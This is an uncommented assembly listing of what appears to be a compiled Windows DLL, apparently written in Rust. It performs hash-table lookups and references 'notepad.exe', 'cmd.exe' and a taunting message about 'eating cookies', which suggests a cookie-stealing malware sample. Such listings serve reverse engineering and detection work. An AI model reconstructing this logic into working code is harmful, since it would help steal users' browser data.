mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18005330c
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rbx
mov dword [rdi + 8], ebp
movd ebp, xmm6
test ebp, ebp
je 0x180054bda
movq rax, xmm6
shr rax, 0x28
mov ebx, 0x657b5a19
mov r15, qword [rsp + 0x98]
jmp 0x1800553ec
test sil, sil
je 0x180054c91
movzx edi, sil
lea eax, [rdi - 0x10]
cmp eax, 0xf
jae 0x180054fb0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov r9, r15
call fcn.180038f70
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180054f2d
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r14d, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r14d
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180054fe9
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x180054ff5
lea r9, [r15 - 7]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180038f70
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180054f9d
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r14d, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r14d
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005500c
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x180055018
mov edi, 0x951604ae
mov esi, 0x76d4030
mov ebp, 0xc76970a8
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054d84
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180054d92
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], edi
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5ed8
jmp 0x180052cb0
test rcx, rcx
je 0x180056eba
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180054dcd
mov r9, r8
sub r8, r10
jbe 0x180056eba
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0xf7a29aca
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180054dc1
movzx r10d, sil
cmp r10d, 0xff
jne 0x1800552fe
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180054dcd
jmp 0x180056eba
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x180054e2f
mov r8, rcx
sub rcx, r9
jbe 0x180055ca8
shr rcx, 1
add rcx, r9
mov r10, rcx
shl r10, 5
xor r11d, r11d
cmp dword [rax + r10 + 0x18], 0x67bbee4f
setne r11b
cmovb r11d, edx
cmp r11b, 1
je 0x180054e23
movzx r9d, r11b
cmp r9d, 0xff
jne 0x1800550fe
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180054e2f
jmp 0x180055ca8
cmp qword [rsp + 0x48], 0
je 0x18005502f
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180073318]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xca93f4a9
mov r8d, 0xffff1c9a
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180054f20
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r15, qword [rsp + 0x98]
jmp 0x180053368
mov eax, dword [rsp + 0x184]
add eax, 4
movsxd r9, eax
add r9, r15
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x18f], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov qword [rsp + 0x20], rsi
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 0x1f
lea rcx, [rsp + 0x40]
call fcn.180038a10
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180055174
mov esi, dword [rsp + 0x44]
mov r14, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
jmp 0x180055386
mov edi, dword [rsp + 0x184]
lea eax, [rdi - 0x10]
cmp eax, 0xf
jb 0x180054bf3
mov r15, qword [rsp + 0x98]
jmp 0x1800537a2
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov r15, qword [rsp + 0x98]
punpckldq xmm6, xmm7
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5fb1
jmp 0x180054b82
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rbx
mov dword [rdi + 8], r14d
mov r15, qword [rsp + 0x98]
mov eax, esi
shr eax, 8
mov ebx, 0x657b5a03
jmp 0x1800553ec
mov rdi, qword [rsp + 0x48]
mov qword [rdi], rbx
mov dword [rdi + 8], r14d
mov r15, qword [rsp + 0x98]
mov eax, esi
shr eax, 8
mov ebx, 0x657b5a1b
jmp 0x1800553ec
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 1
lea r9, [0x1800730a8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, r15
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180055485
mov rsi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
movd xmm6, ebp
movd xmm7, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180055562
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
mov r15, qword [rsp + 0x98]
jmp 0x180054b71
mov rcx, qword [rax + r10 + 8]
test rcx, rcx
je 0x180055ca8
mov rax, qword [rax + r10]
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x180055129
mov r8, rcx
sub rcx, r9
jbe 0x180055ca8
shr rcx, 1
add rcx, r9
mov r11, rcx
shl r11, 5
xor r10d, r10d
cmp dword [rax + r11 + 0x18], 0xa5362e7a
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x18005511d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x18005557d
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180055129
jmp 0x180055ca8
cmp qword [rsp + 0x48], 0x1f
jne 0x180055374
mov eax, edi
mov ecx, eax
and ecx, 0xfffffffc
pxor xmm0, xmm0
xor edx, edx
movdqa xmm2, xmmword [0x18006b1c0]
movdqa xmm3, xmmword [0x18006b1a0]
pxor xmm1, xmm1
movzx r8d, word [rsp + rdx + 0x180]
movd xmm4, r8d
movzx r8d, word [rsp + rdx + 0x182]
movd xmm5, r8d
movdqa xmm6, xmm2
pcmpgtb xmm6, xmm4
punpcklbw xmm6, xmm6
pshuflw xmm4, xmm6, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
movdqa xmm4, xmm2
pcmpgtb xmm4, xmm5
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rdx, 4
cmp rcx, rdx
jne 0x1800551a1
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rdx, xmm0
cmp rcx, rax
je 0x180055233
xor r8d, r8d
cmp byte [rsp + rcx + 0x180], 0x20
setl r8b
add rdx, r8
inc rcx
cmp rax, rcx
jne 0x180055219
cmp rdx, 8
jb 0x180054fb0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 2
lea r9, [0x180070168]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, r15
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x1800556d0
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18005583b
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055849
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180056eba
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x18005532a
mov r10, rdx
sub rdx, r11
jbe 0x180056eba
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0xb2acc6c9
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x18005531e
movzx r11d, sil
cmp r11d, 0xff
jne 0x18005566b
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x18005532a
jmp 0x180056eba
mov ebx, 0x951604ae
mov esi, 0x76d4030
mov ebp, 0xc76970a8
xor r14d, r14d
mov qword [rsp + 0xa0], r14
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
mov r15, qword [rsp + 0x98]
je 0x1800553d7
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x1800553e2
mov rdi, qword [rsp + 0x48]
mov qword [rdi], r14
mov dword [rdi + 8], ebx
mov eax, esi
shr eax, 8
mov ebx, 0x657b5a0f
shl eax, 8
movzx ecx, sil
or ecx, eax
movd xmm0, ecx
movd xmm6, ebp
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180055447
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180055455
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
movzx ecx, word [rsp + 0x75]
mov word [rsp + 0x41], cx
movzx ecx, byte [rsp + 0x77]
mov byte [rsp + 0x43], cl
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0x657b5a7d
mov byte [rsp + 0x40], sil
jmp 0x18005372c
cmp qword [rsp + 0x48], 0
mov r15, qword [rsp + 0x98]
je 0x180053368
mov r8, qword [rsp + 0x50]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x11
lea r9, [0x1800730f8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180055783
mov rsi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
movd xmm6, ebp
movd xmm7, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800558b1
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800558bf
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov r15, qword [rsp + 0x98]
jmp 0x180054b71
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
lea r8, str..rdatanotepad.execmd.exe
mov r9d, 6
call fcn.180042560
cmp ax, 1
jne 0x180055ca8
mov ecx, edx
mov rax, qword [r15]
mov rdx, qword [rax + 0x68]
movzx ecx, cx
cmp rdx, rcx
jbe 0x180056db3
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov r8d, dword [rdx + rcx*8 + 0xc]
add r8, qword [rax + 0x188]
mov qword [rsp + 0x20], 0x2e
lea r9, str.Nom_nom_nom__eating_cookies_from_the_darkside_hahahahaha
lea rcx, [rsp + 0x180]
mov rdx, r13
call fcn.180063a40
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800559d1
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm0, esi
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180055b8d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055b98
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180055687
mov r9, r8
sub r8, r10
jbe 0x180056eba
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x5f03c2ab
setne sil
cmovb esi, edx
cmp sil, 1
je 0x18005567b
movzx r10d, sil
cmp r10d, 0xff
jne 0x18005595b
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180055687
jmp 0x180056eba
cmp qword [rsp + 0x48], 0
je 0x180054fb0
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800701a8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x6bbe4f4c
mov r8d, 0xffff1c9e
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180055776
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
jmp 0x180054fb0
cmp qword [rsp + 0x48], 0
jne 0x180054e86
jmp 0x180054f20
lea r8, [0x180070c20]
call fcn.18000b9f0
ud2
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x7889939
movdqa xmm0, xmmword [rsp + 0x70]
mov rax, rsi
shr rax, 8
jmp 0x180052004
mov rsi, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180055ab0
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055abb
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r15, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x657b5a7e
jmp 0x18005467b
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5eb7
movdqa xmm0, xmmword [rsp + 0x70]
dec qword [r14]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x180050fa7
movzx edi, byte [rsp + 0x184]
jmp 0x180055a5f
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
punpckldq xmm6, xmm7
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5fb1
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
jmp 0x180054b82
mov rax, qword [r12 + r9 + 8]
test rax, rax
je 0x180056372
mov rcx, qword [r12 + r9]
xor r9d, r9d
mov edx, 0xff
mov r8, rax
jmp 0x180055910
mov r8, rax
sub rax, r9
jbe 0x180056372
shr rax, 1
add rax, r9
mov r11, rax
shl r11, 5
xor r10d, r10d
cmp dword [rcx + r11 + 0x18], 0x38649ca6
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x180055904
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180055f85
inc rax
mov r9, rax
mov rax, r8
sub rax, r9
ja 0x180055910
jmp 0x180056372
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180056eba
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180055987
mov r10, rdx
sub rdx, r11
jbe 0x180056eba
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x1e144154
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x18005597b
movzx r11d, sil
cmp r11d, 0xff
jne 0x180056392
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180055987
jmp 0x180056eba
movzx esi, byte [rsp + 0x184]
jmp 0x180055bdc
mov ebp, dword [rsp + 0x74]
mov rdi, qword [rsp + 0x78]
mov ebx, dword [rsp + 0x80]
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180055f1d
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor esi, esi
jmp 0x180055f2b
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb74
movd eax, xmm6
test eax, eax
jne 0x180048db5
test dil, dil
je 0x180048ff5
mov rax, qword [rsp + 0xc0]
mov r8, qword [rax]
mov r9, qword [rax + 8]
lea rcx, [rsp + 0x180]
mov rdx, rsi
call fcn.180035d30
cmp dword [rsp + 0x180], 0
je 0x180055f10
movdqu xmm0, xmmword [rsp + 0x188]
jmp 0x180048fc3
movzx ebp, word [rsp + 0x184]
jmp 0x180055cff
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5e89
movdqa xmm0, xmmword [rsp + 0x70]
dec qword [r15]
mov r13, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
jmp 0x18004f16f
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070400]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x25f65687
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180055b80
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r15, qword [rsp + 0x98]
jmp 0x180049717
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xe8765a9c
movd edi, xmm6
test edi, edi
je 0x180055bdc
movq rax, xmm6
shr rax, 0x28
movdqa xmm0, xmmword [rsp + 0x70]
dec qword [r14]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18005446d
test sil, sil
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
je 0x180055ca8
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18006feea]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 0xa
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xeb579c08
mov r8d, 0xddf2
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180055c90
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
dec qword [r14]
jmp 0x180046cab
lea r8, [0x1800710f8]
xor ecx, ecx
xor edx, edx
call fcn.18000b9f0
ud2
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], r14d
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb27
movd r15d, xmm6
test r15d, r15d
je 0x180055cff
movq rax, xmm6
shr rax, 0x30
movdqa xmm6, xmmword [rsp + 0x70]
movzx ecx, bp
shr ecx, 8
jmp 0x180049395
movzx eax, bp
mov cl, 1
mov dword [rsp + 0xe8], ecx
cmp eax, 0x64c0
jg 0x180055d29
cmp eax, 0x446b
je 0x180055d49
cmp eax, 0x4481
je 0x180055d49
cmp eax, 0x4c81
je 0x180055d49
jmp 0x180055d3e
cmp eax, 0x64c1
je 0x180055d49
cmp eax, 0x6cc1
je 0x180055d49
cmp eax, 0x7481
je 0x180055d49
mov dword [rsp + 0xe8], 0
lea rax, [rdi + 0x20]
xor ecx, ecx
mov rdx, rax
sub rdx, 1
cmovae rcx, rdx
test rax, rax
mov eax, 1
cmovne rax, rdi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
cmp rax, rcx
cmovbe rsi, r13
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0xd0], xmm0
mov eax, dword [rsi + 0x11]
mov ecx, dword [rsi + 0x14]
mov dword [rsp + 0x108], eax
mov dword [rsp + 0x10b], ecx
ja 0x180046c91
lea r14, [rsp + 0xb1]
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 0
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [r14 + 3], ecx
mov dword [r14], eax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x120]
mov r9d, 2
call fcn.180035970
mov r15d, dword [rsp + 0x70]
test r15d, r15d
jne 0x180052747
cmp qword [rsp + 0x78], 0
je 0x18004948c
mov rdi, qword [rsp + 0x80]
lea r9, [rdi - 4]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.180039310
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800563f3
mov ebp, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r15d, dword [rsp + 0x190]
movd xmm0, ebp
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r15d
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180056476
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180056482
movq rax, xmm0
shr rax, 0x30
mov rsi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x110], rcx
mov ecx, dword [rsp + 0x78]
mov dword [rsp + 0x118], ecx
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x11c], ecx
movzx ecx, bx
shr ecx, 8
jmp 0x180055f78
mov r13, qword [rsp + 0x188]
jmp 0x180048ff5
mov rsi, qword [rsp + 0x188]
mov qword [rsi], rdi
mov dword [rsi + 8], ebx
mov qword [rsp + 0xf0], rsi
mov dword [rsp + 0xf8], 0x5d7bdae7
mov rdx, qword [rsp + 0xf0]
mov r8d, dword [rsp + 0xf8]
mov r9d, dword [rsp + 0xfc]
mov ebx, ebp
movzx ecx, bh
mov eax, ebp
shr eax, 0x10
mov qword [rsp + 0x110], rdx
mov dword [rsp + 0x118], r8d
mov dword [rsp + 0x11c], r9d
mov r15, qword [rsp + 0x98]
jmp 0x180052578
lea rcx, [0x1800747ea]
mov edx, 8
call fcn.180069920
xor r8d, r8d
mov ecx, 0xff
mov rdx, r14
jmp 0x180055fab
mov rdx, r14
sub r14, r8
jbe 0x180055fe9
shr r14, 1
add r14, r8
mov rdi, r14
shl rdi, 5
xor r9d, r9d
cmp dword [r12 + rdi + 0x18], eax
setne r9b
cmovb r9d, ecx
cmp r9b, 1
je 0x180055fa3
movzx r8d, r9b
cmp r8d, 0xff
jne 0x180056003
inc r14
mov r8, r14
mov r14, rdx
sub r14, r8
ja 0x180055fab
lea rcx, str.called__Option::unwrap____on_a__None__value1AF0A12B
lea r8, [0x180072950]
mov edx, 0x2b
call fcn.18000c680
ud2
lea rcx, [0x1800747f2]
mov edx, 0xc
call fcn.180069920
mov rdx, qword [r12 + rdi + 8]
test rdx, rdx
je 0x180056075
mov rcx, qword [r12 + rdi]
xor r10d, r10d
mov r8d, 0xff
mov r9, rdx
jmp 0x180056038
mov r9, rdx
sub rdx, r10
jbe 0x180056075
shr rdx, 1
add rdx, r10
mov r11, rdx
shl r11, 5
xor edi, edi
cmp dword [rcx + r11 + 0x18], eax
setne dil
cmovb edi, r8d
cmp dil, 1
je 0x180056030
movzx r10d, dil
cmp r10d, 0xff
jne 0x18005608f
inc rdx
mov r10, rdx
mov rdx, r9
sub rdx, r10
ja 0x180056038
lea rcx, str.called__Option::unwrap____on_a__None__value1AF0A12B
lea r8, [0x180072968]
mov edx, 0x2b
call fcn.18000c680
ud2
cmp qword [rcx + r11 + 8], 0
je 0x180056372
add rcx, r11
mov rax, qword [rcx]
mov r12d, dword [rax]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
cmp dword [rax + 0x48], r12d
jbe 0x180056372
add r12, qword [rax + 0x188]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xd0], rax
mov byte [rsp + 0xf2], 0
mov word [rsp + 0xf0], 0
lea rdi, [0x180072a58]
xorpd xmm6, xmm6
xor eax, eax
mov qword [rsp + 0xe8], rax
jmp 0x180056109
mov rax, r15
sub rax, rbp
cmp rax, 0x20
jb 0x180056372
mov eax, r15d
sub eax, ebp
mov byte [rsp + 0x40], 4
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 1
movapd xmmword [rsp + 0x1b0], xmm6
movapd xmmword [rsp + 0x1a0], xmm6
movapd xmmword [rsp + 0x190], xmm6
movapd xmmword [rsp + 0x180], xmm6
mov qword [rsp + 0x28], r13
